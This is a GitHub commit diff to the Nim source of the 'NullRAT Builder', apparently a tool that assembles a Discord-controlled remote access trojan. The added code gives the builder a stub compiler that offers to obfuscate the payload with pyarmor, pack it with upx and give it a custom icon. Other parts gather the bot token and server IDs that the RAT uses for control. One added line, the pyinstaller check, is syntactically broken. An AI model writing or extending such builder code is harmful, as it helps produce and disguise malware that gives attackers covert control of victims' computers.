Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 80eac4a

Browse files
committed
Add initial skeleton for compiler
1 parent 80a280c commit 80eac4a

1 file changed

Lines changed: 66 additions & 27 deletions

File tree

compiler.nim

Lines changed: 66 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import std/[strutils, strformat]
77
proc cls() =
88
discard execShellCmd("cls")
99

10+
discard execShellCmd("title NullRAT Builder");
1011
discard execShellCmd("chcp 65001");
1112
cls()
1213
discard execShellCmd("mode con: cols=80 lines=29");
@@ -30,34 +31,28 @@ proc cleanWorkingDir() =
3031
inp = getch()
3132
if inp == 'Y' or inp == 'y':
3233
moveFile(absolutePath("NullRAT" / "Variables.py"), dirrr / "NullRAT2" / "Variables.py")
33-
break
34-
else:
35-
break
3634
removeDir("NullRAT")
3735
moveDir(dirrr / "NullRAT2", dirrr / "NullRAT")
3836
removeFile("AIO.bat")
3937
removeFile("AIO_Legacy.bat")
4038

4139
# remove git stuff if downloaded from source
42-
var inpu: char
43-
while inpu != 'Y' or inpu != 'y' or inpu != 'N' or inpu != 'n':
44-
echo "Remove git files? (y/N)"
45-
inpu = getch()
46-
if inpu == 'y' or inpu == 'Y':
47-
removeDir(".git")
48-
removeFile("README.md")
49-
removeFile("Getting Variables.md")
50-
removeFile(".gitignore")
51-
break
52-
else:
53-
break
40+
echo "Remove git files? (y/N)"
41+
var inpu: char = getch()
42+
if inpu == 'y' or inpu == 'Y':
43+
removeDir(".git")
44+
removeFile("README.md")
45+
removeFile("Getting Variables.md")
46+
removeFile(".gitignore")
47+
5448
removeFile("RAT.exe")
5549
removeDir("build")
5650
removeDir("dist")
5751

5852
cls()
5953

6054
proc printName() =
55+
cls()
6156
echo ""
6257
stdout.styledWriteLine(fgRed, " ███╗ ██╗██╗ ██╗██╗ ██╗ ██████╗ █████╗ ████████╗")
6358
stdout.styledWriteLine(fgRed, " ████╗ ██║██║ ██║██║ ██║ ██╔══██╗██╔══██╗╚══██╔══╝")
@@ -68,13 +63,59 @@ proc printName() =
6863
stdout.styledWriteLine(fgRed, " =========================================================")
6964
echo ""
7065

71-
proc compiler() =
72-
cls()
66+
proc compiler(): int =
67+
printName()
68+
var dirr = getAppDir()
69+
setCurrentDir(dirr / "NullRAT")
70+
echo ""
71+
72+
stdout.styledWriteLine({styleBright}, " >> Stub Compiler <<")
73+
echo ""
74+
var obfuscate: bool
75+
var compress: bool
76+
var icon: bool
77+
78+
stdout.styledWriteLine({styleBright}, "Do you want to obfuscate the executable? (Y/n)")
79+
var input: char = getch()
80+
if input == 'N' or input == 'n': obfuscate = false
81+
else: obfuscate = true
82+
83+
stdout.styledWriteLine({styleBright}, "Do you want to compress the executable? (Y/n)")
84+
input = getch()
85+
if input == 'N' or input == 'n': compress = false
86+
else: compress = true
87+
88+
stdout.styledWriteLine({styleBright}, "Do you want to set a custom icon? (y/N)")
89+
input = getch()
90+
var iconPath: string
91+
if input == 'Y' or input == 'y':
92+
icon = true
93+
echo "Enter custom icon (.ico file) path:"
94+
iconPath = readLine(stdin);
95+
else: icon = false
96+
7397
printName()
74-
discard getch()
98+
echo ""
99+
echo "All options selected: "
100+
echo "---------------------"
101+
if obfuscate: echo "Executable will be obfuscated (w/ pyarmor)"
102+
if compress: echo "Executable will be compressed (w/ upx)"
103+
if icon:
104+
echo "Executable will have custom icon."
105+
echo "Path: ", iconPath
106+
echo ""
107+
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
108+
input = getch()
109+
if input == 'N' or input == 'n':
110+
echo "- Information marked incorrect! Aborting..."
111+
sleep(1000)
112+
return 0
113+
else:
114+
stdout.styledWriteLine(fgCyan, "- Compiling using selected settings...")
115+
stdout.styledWriteLine(fgCyan, "- Checking pyinstaller")
116+
echo wherePy = execCmdEx("where pyinstaller")
75117

76118
proc variablesCreator() =
77-
cls()
78119
printName()
79120
var dirr = getAppDir()
80121
setCurrentDir(dirr / "NullRAT")
@@ -91,12 +132,12 @@ proc variablesCreator() =
91132
if input == 'N' or input == 'n':
92133
echo "- Information marked incorrect! Continuing..."
93134
sleep(1000)
94-
cls()
95135
printName()
96136
else:
97137
echo "- Information marked correct. Preserving..."
98138
sleep(1000)
99-
compiler()
139+
if compiler() == 0:
140+
return
100141

101142
echo "-----------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n-----------"
102143
stdout.styledWriteLine({styleBright}, "\n[1] Please enter the Discord bot token: ")
@@ -113,7 +154,6 @@ proc variablesCreator() =
113154
"server_ids = [" & serverID & "]"
114155
]
115156

116-
cls()
117157
printName()
118158
stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
119159
echo ""
@@ -141,10 +181,10 @@ proc variablesCreator() =
141181
echo ""
142182
stdout.styledWriteLine({styleBright}, "Moving on to compiler...")
143183
sleep(3000)
144-
compiler()
184+
if compiler() == 0:
185+
return
145186

146187
proc packageInstaller() =
147-
cls()
148188
printName()
149189
stdout.styledWriteLine({styleBright}, " >> Dependencies Installer <<")
150190
echo ""
@@ -178,7 +218,7 @@ proc packageInstaller() =
178218
variablesCreator()
179219

180220
else:
181-
stdout.styledWriteLine({styleBright}, "-nPython not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
221+
stdout.styledWriteLine({styleBright}, "- Python not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
182222
var input: char = getch();
183223
if input == 'N' or input == 'n':
184224
echo "NullRAT Builder cannot continue otherwise!!! Exiting..."
@@ -191,7 +231,7 @@ proc packageInstaller() =
191231
stdout.styledWriteLine({styleBright}, "Since we do not support automatic installation of python,")
192232
stdout.styledWriteLine({styleBright}, "you have to run the installer manually.")
193233
stdout.styledWriteLine({styleBright}, "After running, please tick 'Install for All Users'")
194-
stdout.styledWriteLine({styleBright}, "and 'Add Python 3.8 to PATH', then install it")
234+
stdout.styledWriteLine({styleBright}, "and 'Add Python 3.8 to PATH', then Install Now")
195235
stdout.styledWriteLine({styleBright}, "After installing, check if everything is functional")
196236
stdout.styledWriteLine({styleBright}, "by running NullRAT builder again.")
197237
echo ""
@@ -200,7 +240,6 @@ proc packageInstaller() =
200240
return
201241

202242
proc mainMenu() =
203-
cls()
204243
printName();
205244
stdout.styledWriteLine({styleBright}, " >> NullRAT Builder v1.1 <<")
206245
echo ""

0 commit comments

Comments
 (0)